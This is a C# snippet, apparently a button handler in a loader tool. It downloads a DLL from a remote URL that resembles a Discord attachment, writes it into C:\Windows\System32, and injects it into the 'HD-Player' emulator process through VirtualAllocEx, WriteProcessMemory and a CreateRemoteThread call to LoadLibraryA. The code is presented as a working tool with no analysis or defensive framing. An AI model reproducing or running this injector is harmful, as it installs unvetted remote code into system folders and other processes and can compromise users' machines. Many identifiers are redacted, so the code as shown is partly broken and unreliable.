[DllImport("kernel32.
dll")]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle,
int dwProcessId);
[DllImport("[Link]", CharSet = [Link])]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", CharSet = [Link], ExactSpelling = true, SetLastError
= true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress,
uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("[Link]", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("[Link]")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
uint dwCreationFlags, IntPtr lpThreadId);
const int PROCESS_CREATE_THREAD = 0x0002;
const int PROCESS_QUERY_INFORMATION = 0x0400;
const int PROCESS_VM_OPERATION = 0x0008;
const int PROCESS_VM_WRITE = 0x0020;
const int PROCESS_VM_READ = 0x0010;
const uint MEM_COMMIT = 0x00001000;
const uint MEM_RESERVE = 0x00002000;
const uint PAGE_READWRITE = 4;
private void guna2Button2_Click(object sender, EventArgs e)
{
string fileName = "C:\\Windows\\System32\\[Link]";
[Link] = (SecurityProtocolType)3072;
string adress =
"[Link]
[Link]?
ex=6650e910&is=664f9790&hm=76acc9321ffe36a180a8816dc05254eed815c6a28ea0df59995403be
f0a80365&";
bool flag = [Link](fileName);
if (flag)
{
[Link](fileName);
}
[Link](adress, fileName);
Process targetProcess = [Link]("HD-Player")[0];
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE |
PROCESS_VM_READ, false, [Link]);
IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("[Link]"),
"LoadLibraryA");
string dllName = "[Link]";
IntPtr allocMemAddress = VirtualAllocEx(procHandle, [Link], (uint)
(([Link] + 1) * [Link](typeof(char))), MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
UIntPtr bytesWritten;
WriteProcessMemory(procHandle, allocMemAddress,
[Link](dllName), (uint)(([Link] + 1) *
[Link](typeof(char))), out bytesWritten);
CreateRemoteThread(procHandle, [Link], 0, loadLibraryAddr,
allocMemAddress, 0, [Link]);
}
private WebClient webclient = new WebClient();
@here
